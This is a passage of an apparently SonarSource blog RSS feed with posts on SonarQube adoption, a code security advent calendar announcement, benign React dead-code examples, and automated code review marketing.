/&gt;&lt;p&gt;Sonar’s project reports give development teams a current Quality Gate status and any failing conditions, plus the major metric values on new code. With a common understanding and carefully defined measures, code quality is maintained and projects are delivered on time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Development teams can group projects that map to your enterprise hierarchy. Portfolios give them immediate insight into the health of all the projects across an entire department, including their projects’ releasability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Sonar, development teams can generate, export and schedule reports in PDF format to ensure visibility of key metrics to all stakeholders.&lt;/p&gt;&lt;h2&gt;Conclusion on scaling enterprise code&lt;/h2&gt;&lt;p&gt;When you need to scale a clean code standard across your enterprise, start by understanding the value of the tools described in this blog. With this foundation, you can help ensure that your software continues to be an asset and is key to your business success.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you would like to see these tools in action, simply sign up for a 14-day free trial of &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/enterprise/&quot;&gt;SonarQube Enterprise Edition&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What I learned from using SonarQube for the first time]]></title><description><![CDATA[In this blog, I will share the story of how I got introduced to SonarQube and made use of it as  a team lead. I will explain how it helped us improve our code, and also assisted me in growing a team of junior developers with a Clean Code companion by their side.]]></description><link>https://www.sonarsource.com/blog/developing-an-application-can-be-a-complicated-task</link><guid isPermaLink="false">dcc1fa9a-64f7-5f0d-a187-eebfe4bb6896</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Thu, 01 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this blog, I will share the story of how I got introduced to SonarQube and made use of it as  a team lead. I will explain how it helped us improve our code, and also assisted me in growing a team of junior developers with a Clean Code companion by their side. I will share the mistakes we made in the process of learning how to work with this tool and share my advice with you who might find yourself in the same position as I was.&lt;/p&gt;&lt;h2&gt;Developing an application can be a complicated task&lt;/h2&gt;&lt;p&gt;We all know growing as a developer is a never-ending journey. We constantly have to learn new things. Personally, I love it! But it can be overwhelming sometimes.  Looking back at the beginning of my career, I realize how much I had to learn: modern javascript, ECMAScript, React, asynchronous programming, CSS, Sass, flexbox, grids… The list goes on. As I gained more experience, I got to dive deeper into functional programming, CSS in JavaScript, high-order components, performance profiling, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the most satisfying parts of being a developer is building cool user experiences while learning a wide range of technologies in parallel! This has always motivated me to go further and dig deeper, and eventually helped me understand how frontend software really works. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While the learning journey is highly rewarding, it can be difficult to master all languages and technologies required to develop an application. Personally, I always had the feeling that I was missing a tool to help me take my learning to the next level. A tool that would measure the quality of my code and point out potential errors, bad patterns, and vulnerabilities. But I’ve been lucky. I’ve always been surrounded by talented developers that were able to help me spot imperfections in my code during code reviews. They’ve been the ones to help me understand how to fix my code and improve as a developer.&lt;/p&gt;&lt;h2&gt;How I was introduced to SonarQube&lt;/h2&gt;&lt;p&gt;Two years ago, I became a front-end engineering manager responsible for a team of six front-end developers. I quickly realized that everyone on my team had to go through the same learning journey I’d been through, which brought into focus how much rigor crafting a good web application requires. Not only do technologies and tools need to be used correctly but the application must remain maintainable at all times. This gets even harder if you think about the need for the code to be understandable by everyone, with their own experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To achieve this level of rigor, we had code reviews, knowledge-sharing syncs between peers,  and a tech lead “council” to define best practices and ensure team alignment. But even with all of these ceremonies, a big gap in the quality of our applications still remained. To make matters more difficult, our development force was spread across different teams and cities. Luckily, our base team in charge of the security, metrics, tooling, and the CI/CD setup introduced us toSonarQube. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The security team completed the configuration and we added a sonar.properties file to automatically spin up an instance and include the analysis in the release process. At that moment, we didn’t talk about how the product would be used, how it would work, or what was the philosophy behind it. But after adding SonarQube to our development workflow, we quickly realized it would be much more than a security gateway in our process.&lt;/p&gt;&lt;h2&gt;Our first steps with SonarQube&lt;/h2&gt;&lt;p&gt;The first few days using SonarQube were filled with a lot of emotions. Some developers panicked. Some were against the tool. Others believed some rules were incorrect and that they knew better than the tool. But in this time of uncertainty, the team came together to discuss the pros and cons of the different rules available. We uncovered why it was important to avoid magic numbers, to limit the cognitive complexity of a function, what is the right limit for complexity, etc. We also discussed frontend-specific needs: Should we really put route paths in constants? Avoid hard-coded values? But does that apply to style?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After days of dialogue within the team, we decided to build our own quality profile, one that made sense for us. This way, we could integrate all of our recent discussions into a team quality profile that we’d all share and use. We also agreed that Sonar’s analysis was informative and it helped us create processes for addressing issues that it detected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The profile made the team feel more confident in moving forward with the tool. As our visibility across the codebase grew,  we uncovered many things we would have probably missed during PR reviews. Also, we were able to discuss the coding rules behind every issue. This enabled beginner developers to learn faster. By questioning whether or not they should fix the problem, they would first have to understand why the rule exists and what it is trying to prevent.&lt;/p&gt;&lt;h2&gt;What SonarQube quickly improved in our team&lt;/h2&gt;&lt;p&gt;I quickly understood how much developers care about the quality of the code they write. In fact, not a single developer on my team would ever disregard the analysis results. Even when they felt frustrated when the results wouldn’t be good enough, developers would act right away to improve their PR. I believe every developer wants to deliver high-quality code. It’s just a matter of being given the right tool and right space for discussion.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With SonarQube, we had all the metrics we needed to assess the quality of our code. We knew which parts were clean, and which parts we had to improve. The tool helped us prioritize the efforts together with the project manager. They had access to the results and were able to understand if their product was at risk or not.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also started using the code smells page to create onboarding tickets for new joiners (or even to add to smaller sprints) which was very well received.  It allowed new joiners to start with something very precise and easily measurable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Armed with SonarQube usage metrics, I was able to share our results with our internal tech lead council and listen to how other teams used it. We took this as an opportunity to align on a set of best practices to share across teams.&lt;/p&gt;&lt;h2&gt;What mistakes we made in using SonarQube&lt;/h2&gt;&lt;p&gt;We began our Clean Code journey with a decision that Sonar analysis was only going to be informative. And that was a huge mistake! We installed SonarQube without enough knowledge of how it’s meant to be used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I wish I had known about the Clean as You Code methodology before! It was only when I joined Sonar that I learned about it and discovered how powerful it was. Obviously, when you have hundreds or thousands of bugs, security vulnerabilities, and code smells, it can be discouraging to try to fix them all. That’s where Clean as You Code helps!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Instead of investing substantial time and energy in fixing your legacy code, you can focus on making your new code clean. This way, you are not adding more issues to your codebase.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The quality gate prevents you from merging code that’s not clean and de facto helps you make sure no critical issue is added to the code base. At the same time, as you write new code, you inevitably touch old code. Simply because in the process of implementing new features, you will either remove some code (replacing it with the new one), or you will modify it to fit the needs of this new functionality. On average you rewrite 20% of your application code every year. With good settings and a good understanding of the tool, it shouldn’t be painful to increase the &lt;a href=&quot;https://www.sonarsource.com/solutions/quality/&quot;&gt;code quality&lt;/a&gt; of your application.&lt;/p&gt;&lt;h2&gt;Put your trust in SonarQube!&lt;/h2&gt;&lt;p&gt;We made many mistakes in our effort to learn how to work with SonarQube. We were a team of junior developers (and I was a junior engineering manager) with no experience with &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code solutions&lt;/a&gt;. Our introduction to SonarQube was a real opportunity for us to establish strong technical foundations and have many interesting discussions. It resulted in new guidelines and metrics for the team that helped create alignment on our Clean Code strategy with project stakeholders. By defining and enforcing our quality profile with a set of rules that made sense for us, we improved the overall quality and consistency of our code. At a personal level, SonarQube has also been an opportunity for me to spend more time and energy on the team dynamic and ambiance, and less on the technical aspects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It took many attempts, discussions, and errors for us to figure out how to use SonarQube. Now that I work at Sonar, I realize how we could have leveraged the quality gate and the Clean As You Code methodology to go further. But hey, nobody gets to learn without failing first. So here is my advice for you - developer or development team - who is starting with SonarQube:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Don’t see SonarQube as one more statistic about your code, instead embrace the Clean Code approach to yield the best results.&lt;/li&gt;&lt;li&gt;Take advantage of the quality gate to ensure that the new code you write today is clean and empower developers to own the quality of their code.&lt;/li&gt;&lt;li&gt;Discuss and define a meaningful quality profile with the right set of rules that makes sense to your team. The SonarWay is the best-preferred way to start.&lt;/li&gt;&lt;li&gt;Finally, align everyone on your clean code strategy from the beginning by sharing metrics with all stakeholders.&lt;/li&gt;&lt;/ol&gt;</content:encoded></item><item><title><![CDATA[Code Security Advent Calendar 2022]]></title><description><![CDATA[The year is slowly coming to an end and it’s time again to look back and reflect on the great fun and achievements of the year. This is where we would like to thank our community and share a little gift, as we do every December since 2016.]]></description><link>https://www.sonarsource.com/blog/code-security-advent-calendar-2022</link><guid isPermaLink="false">713f7826-36aa-5614-a066-11bc591e9cbc</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 29 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The year is slowly coming to an end and it’s time again to look back and reflect on the great fun and achievements of the year. This is where we would like to thank our community and share a little gift, as we do every December since 2016. We are excited to announce our seventh consecutive Code Security Advent Calendar and invite all developers and security enthusiasts to participate! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar we believe in the power of &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;Clean Code&lt;/a&gt; which means that your code can evolve and execute flawlessly. This is not only about code &lt;em&gt;security &lt;/em&gt;but also about maintainability, reliability, sustainability, and more which are impacted by each other. Security, being only one pillar of &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;, is particularly interesting because there are so many coding mistakes and attacker tricks that we can all learn about.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will hide some of our new favorite ones in 24 little code puzzles so you can sharpen your security skills and have a fun December season.    &lt;/p&gt;&lt;h2&gt;Can you spot the vulnerability?&lt;/h2&gt;&lt;p&gt;Starting on December 1st, we will release new code challenges on a daily basis. Follow our research team on &lt;a href=&quot;https://twitter.com/sonar_research&quot;&gt;Twitter&lt;/a&gt; and &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;Mastodon&lt;/a&gt; to be notified about each new challenge, share it with your friends, and discuss solutions and feedback in the comments. The code challenges as well as the intended solutions &lt;a href=&quot;https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/&quot;&gt;are hosted on our website too&lt;/a&gt;; you can come back every day and open a new door to reveal the latest puzzle. We plan to keep our challenges and solutions accessible online for your education and also plan to bring back the content from past years’ calenders to the website, so stay tuned!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/sonar_research&quot;&gt;&lt;strong&gt;Follow @Sonar_Research on Twitter to participate&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;&lt;strong&gt;Follow @SonarResearch on Mastodon to participate&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;What you can expect&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/05e2b23d-6e6a-46e4-b27b-7696099fd1a7/Code%20Security%20Advent%20Calendar%202022_1.png&quot; /&gt;&lt;h3&gt;Real-world code vulnerabilities&lt;/h3&gt;&lt;p&gt;At Sonar, we spend a lot of time studying and understanding real-world vulnerabilities in order to continuously push our code analysis to the next level. We crafted 24 realistic security bugs and tricks based on what we saw in real, production code during &lt;a href=&quot;https://blog.sonarsource.com/tag/security&quot;&gt;this year&amp;#x27;s security research&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some of these challenges may look harder than usual at first, but don’t worry: play around with the code snippet, experiment, and enjoy the “aha moment” when you discover the answer! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We want to make this event enjoyable for all skill levels, so we&amp;#x27;ll release hints throughout the day (if needed) and a detailed solution after 24 hours. To learn as much as you can from these challenges and get a grasp on all the “tricks” involved, do not just identify the impact of the vulnerability (say, Remote Code Execution), but try to think of how it could be exploited, what would be the steps to follow, etc. &lt;br/&gt;&lt;/p&gt;&lt;h3&gt;More &amp;lt;insert your favorite language here&amp;gt; challenges, please!&lt;/h3&gt;&lt;p&gt;Our code analysis technology is constantly being improved to detect vulnerabilities in the most popular programming languages. As such, you&amp;#x27;ll enjoy challenges we hand-crafted in C, JavaScript, Java, PHP, Python, and C#. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And even if the day’s security challenge isn’t in your favorite language it’s worth looking at because the principles carry across languages and will sharpen your security skills for 2023!&lt;/p&gt;&lt;h3&gt;With 24 Vulnerabilities and Security Hotspots&lt;/h3&gt;&lt;p&gt;Our products support over 5,000 rules because there are many things that can go wrong on the way to writing clean code. In this year’s Code Security Advent Calendar, we focus on 24 different types of vulnerabilities that can have a major impact on your application security. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Every challenge will hide at least one security flaw. Sometimes it&amp;#x27;s based on unvalidated or unsanitized user input, sometimes on a bad configuration, and sometimes it&amp;#x27;s a harmless-looking feature that can be abused by attackers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We wish you all a happy and safe December season!&lt;/p&gt;&lt;h2&gt;Related blog posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/code-security-advent-calendar-2021/&quot;&gt;Code Security Advent Calendar 2021&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/code-security-advent-calendar-2020/&quot;&gt;Code Security Advent Calendar 2020&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/vulnerability-research-highlights-2021/&quot;&gt;Vulnerability Research Highlights 2021&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Lesser spotted React mistakes: Zombie methods]]></title><description><![CDATA[This series is dedicated to the small, but common pitfalls and errors you can encounter when writing React code.
Whether an experienced JavaScript | TypeScript developer or just starting out, the results can be surprising. Part 2.]]></description><link>https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-zombie-methods</link><guid isPermaLink="false">163796f2-f773-599f-9e05-ed141490a166</guid><dc:creator><![CDATA[Gabriel Vivas]]></dc:creator><pubDate>Mon, 28 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This series is dedicated to the small, but common pitfalls and errors you can encounter when writing React code. Whether an experienced JavaScript | TypeScript developer or just starting out, the results can be surprising.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These are the kind of issues you want to catch early in your IDE before you spend hours debugging. You can copy/paste the code examples in VS Code with the free SonarLint plugin if you want to see them for yourself and try to catch them before they happen to you!&lt;/p&gt;&lt;h2&gt;Part 2: Zombie methods&lt;/h2&gt;&lt;p&gt;This second installment of the series is all about low-effort references to &lt;a href=&quot;https://www.urbandictionary.com/define.php?term=George%20Romero&quot;&gt;George Romero&lt;/a&gt; and ancient &lt;a href=&quot;https://www.mentalfloss.com/article/23350/dangers-eating-brain&quot;&gt;Papua New Guinea&lt;/a&gt; cuisine.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More seriously, we’ll talk about code that is redundant or never executed and how it can hinder your work. Getting into React’s entrails, we’ll discuss how undead code may signal questionable code architecture 😵.&lt;/p&gt;&lt;h2&gt;🪦 Dead code is dragging you down&lt;/h2&gt;&lt;p&gt;When code is not being used, we call it “dead code”. We want to avoid dead code because it gets in the way. The only thing that it is doing is taking up mental effort when you are trying to read the code that matters. Dead code consumes our brains 🍽️ 🧠.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you suspect some method is not being used, here’s one old trick: run a project-wide code search for the method name. If the only mention of the method name in the whole codebase is the definition… you’re likely dealing with some life-less bytes ⚰️.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Dead code can also be a significant error, for example, when you make a small typo. It can obscure bugs. We won’t go into that here. That’s a topic for another day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Anyway, check this example below:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React, { Component } from &apos;react&apos;;

export default class Profile extends Component {
  getDefaultName() {
    return &apos;John Smith&apos;;
  }

  render(props) {
    return (&lt;h1&gt;{props.name}&lt;/h1&gt;);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can tell, the method &lt;code&gt;getDefaultName&lt;/code&gt; is not being used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That was easy, but still, you caught that one 💪. Of course, it can be much harder to find dead code when you have many more methods and logic in your components.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That is when you feel happy about having SonarLint installed 🦾, because it will pick up this issue instantly. You also get some prose to help you make sense of it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;See the picture below or click &lt;a href=&quot;https://images.prismic.io/sonarsource/5c608a5c-69c0-41eb-b628-a0583d5064f9_sonarlint.png?auto=compress,format&quot;&gt;here&lt;/a&gt; for an expanded view:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3178d4b1-111b-4264-96fb-12045c4c815a/Lesser%20spotted%20React%20mistakes-Zombie%20methods_1.png&quot; /&gt;&lt;p&gt;In case you’re wondering, there is an Eslint rule that can help with unused methods in React components. You’ll need to enable it in your configuration since it is not present in the default set of rules:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ npm install eslint eslint-plugin-react --save-dev

$ cat .eslintrc.json
{
  &quot;extends&quot;: [
    &quot;plugin:react/recommended&quot;
  ],
  &quot;rules&quot;: {
    &quot;react/no-unused-class-component-methods&quot;: &quot;error&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You might be thinking:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;“Wait a minute. That&amp;#x27;s all nice. But how can you be sure the method is not being used dynamically with a property accessor by passing a computed string before invoking it, eh?”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Wow, you’re hypothetically smart. And also right.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Indeed, JavaScript and TypeScript are dynamic. As it happens, somebody might have introduced some carefully crafted conjuring 🧙✨. It is quite hard to tell if the program is actually using all the code or not.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is why SonarLint is modest and takes a different approach that happens to solve a more interesting problem. Wait for it…&lt;/p&gt;&lt;h2&gt;Undead code. When it smells bad 👃, it’s probably…&lt;/h2&gt;&lt;p&gt;A word that &lt;a href=&quot;https://www.urbandictionary.com/define.php?term=crap&quot;&gt;rhymes with bad&lt;/a&gt;. Sad! Mad! Cat? Nevermind, cats are fine 🐈&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Confusing is the word. This is going to be confusing. Because it does not rhyme.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s talk about Component methods that appear to be dead code, when they are actually undead, like the red-leathered king of pop in that spooky thriller!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/436155ef-f2ba-40e7-8aff-13d3b2f99cf9/Lesser%20spotted%20React%20mistakes-Zombie%20methods_2.jpg&quot; /&gt;&lt;p&gt;For something less artful and scarier, imagine you see a method in your component that is not being called anywhere in the file. A head-scratcher.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You think, “Hey, this reminds me of that cheeky article at the Sonar blog 🐋”.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And you’re ready to clean that dead code 🔪.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Precautious as you are, you run a project-wide search for the method name, and then, there it is, the method is being called from a different Component. Not dead. Undead 🧟.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s see an example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React, { Component } from &quot;react&quot;;

export default class Cowsay extends Component {
  constructor(props) {
    super(props);
    this.state = { text: &quot;Hello world!&quot; };
  }

  componentDidMount() {
    this.props.onMounted(this);
  }

  say(text) {
    this.setState({ text });
  }

  render() {
    return &lt;pre&gt;{this.state.text}&lt;/pre&gt;;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That Component sure looks strange. Smelly, you might say. If it smells bad, it’s probably… not a cat 🐈.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For sure, nobody would do something like that 😧! How would you even call &lt;code&gt;say()&lt;/code&gt;?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;See the rest of the code below:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React, { Component } from &quot;react&quot;;
import Cowsay from “./Cowsay”;

class MadCowDisease extends Component {
  render() {
    return (
      &lt;div&gt;
        &lt;Cowsay onMounted={(cow) =&gt; (this.cow = cow)} /&gt;
        &lt;button onClick={() =&gt; this.cow.say(&quot;Moo!&quot;)}&gt;Say Moo!&lt;/button&gt;
      &lt;/div&gt;
    );
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(Credits to StackOverflow user &lt;a href=&quot;https://stackoverflow.com/a/44137034&quot;&gt;@gitaarik&lt;/a&gt; for this funky example which we shortened for brevity.)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What? That should not be possible, right? Try it in VSCode!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is where you start to see the relationship between eating brains and mad cow disease.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Or perhaps you see no problem in calling methods from outside the Component 🧙✨.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Truth is, there are many ways to do this. Some of them might look less disturbing. But they are all at the edge of React’s philosophy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even if we are using the &lt;code&gt;class&lt;/code&gt; syntax, instances of components are not supposed to communicate via methods and state. React embraces a functional paradigm and expects you to use &lt;code&gt;props&lt;/code&gt; and &lt;code&gt;children&lt;/code&gt; to pass information around. Component state should remain an internal affair.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you are faced with a situation where you feel tempted to dig into the guts of a Component to reach its state or something else, you probably need to &lt;a href=&quot;https://reactjs.org/docs/lifting-state-up.html&quot;&gt;lift your state.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;React Component methods that are not used inside the Component should be dead code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If they are undead, you know what to do 🔪🧟.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is why your friendly SonarLint will raise an issue if you happen to sway too much into the undead zone. It won’t play the music, but from now on you can &lt;a href=&quot;https://www.youtube.com/watch?v=sOnqjkJTMaA&quot;&gt;hear it in your head&lt;/a&gt; 🎵.&lt;/p&gt;&lt;h2&gt;Prevent issues before they happen&lt;/h2&gt;&lt;p&gt;We hope you had fun reading and trying the code snippets in your IDE. Undead code is out there! As you’ve seen it is more dangerous than dead code 🪦.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, SonarLint will detect all these issues and warn you as they come up, so you can fix them on the spot, without losing focus. If you want to dig deeper, SonarLint will also provide an explanation in the rule description, as to why it happens in the first place.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Did we mention that SonarLint is free and Open Source?&lt;/p&gt;&lt;h2&gt;Next up: “Part 3: Render what?”&lt;/h2&gt;&lt;p&gt;In the next installment, we’ll look at subtle defects you could inadvertently introduce when rendering React components. Smell ya’ later 🐋!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you liked this post, send us a Tweet &lt;a href=&quot;https://twitter.com/SonarSource&quot;&gt;@SonarSource&lt;/a&gt; or a comment in the &lt;a href=&quot;https://community.sonarsource.com&quot;&gt;Community.&lt;/a&gt; We’d love to hear about your experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Read more about this rule in our catalog:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6441https://&quot;&gt;S6441 Unused methods of React components should be removed&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Previous posts:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://blog.sonarsource.com/lesser-spotted-react-mistakes-hooked-on-a-feeling/&quot;&gt;Part 1 of &amp;quot;Lesser spotted React mistakes&amp;quot;: Hooked on a feeling&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Doing More with Less in Uncertain Times]]></title><description><![CDATA[Even though efficiency of all work processes is a goal of any business striving for success, it is even more of a challenge given the current economic climate. This bar shifts higher every day.]]></description><link>https://www.sonarsource.com/blog/doing-more-with-less-in-uncertain-times</link><guid isPermaLink="false">c952775d-b73a-5030-b80f-43b8a1cf7e87</guid><dc:creator><![CDATA[Bruce Herbert]]></dc:creator><pubDate>Fri, 18 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Even though efficiency of all work processes is a goal of any business striving for success, it is even more of a challenge given the current economic climate. This bar shifts higher every day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Tackling time is especially relevant to software development. Over the last several years, software developers across industries have reported growing workloads and resource constraints, leading to frequent failures to meet project deadlines.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, more than ever, when development teams are trying to manage the same amount of work with fewer resources (due to things like layoffs), technologies can and should be utilized to address the problem of overburdened development teams.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To better maximize time, software developers will benefit from better tooling that makes their jobs easier, such as code analysis tools that find and fix issues as they write code and perform automated code reviews to deliver code that is free of issues. &lt;/p&gt;&lt;h2&gt;Automated code reviews&lt;/h2&gt;&lt;p&gt;An automated code review is a process of analyzing code using smart, automated code review tools. In this process, the code is analyzed and the defects are found. Automated code reviews reduce the time and effort required in manual code reviews, which are performed by human reviewers. Some of the key benefits of automated code reviews include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Reduced time&lt;/strong&gt;: Developers can review all the changes made in the code concisely and with less effort – making feedback loops shorter.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Easy to scale&lt;/strong&gt;: Even for large teams of developers, the code review process can be automated without any issues.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Easy to use&lt;/strong&gt;: Automated code review tools can seamlessly integrate into any CI/CD workflow and DevOps platform.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Cost effective&lt;/strong&gt;: Automated code reviews enhance the development workflow for a better ROI.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Clean as You Code&lt;/h2&gt;&lt;p&gt;Too often, applications deployed throughout an organization are based on a hodge-podge of legacy and new code, are increasingly challenging to maintain, and are inherently vulnerable to failure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Having high-standard code is essential for businesses to mitigate the impact of costly tech debt, production issues, and security breaches. The software community understands the development stage is the first and best opportunity to minimize maintenance, risks, and rework.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar’s &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; approach 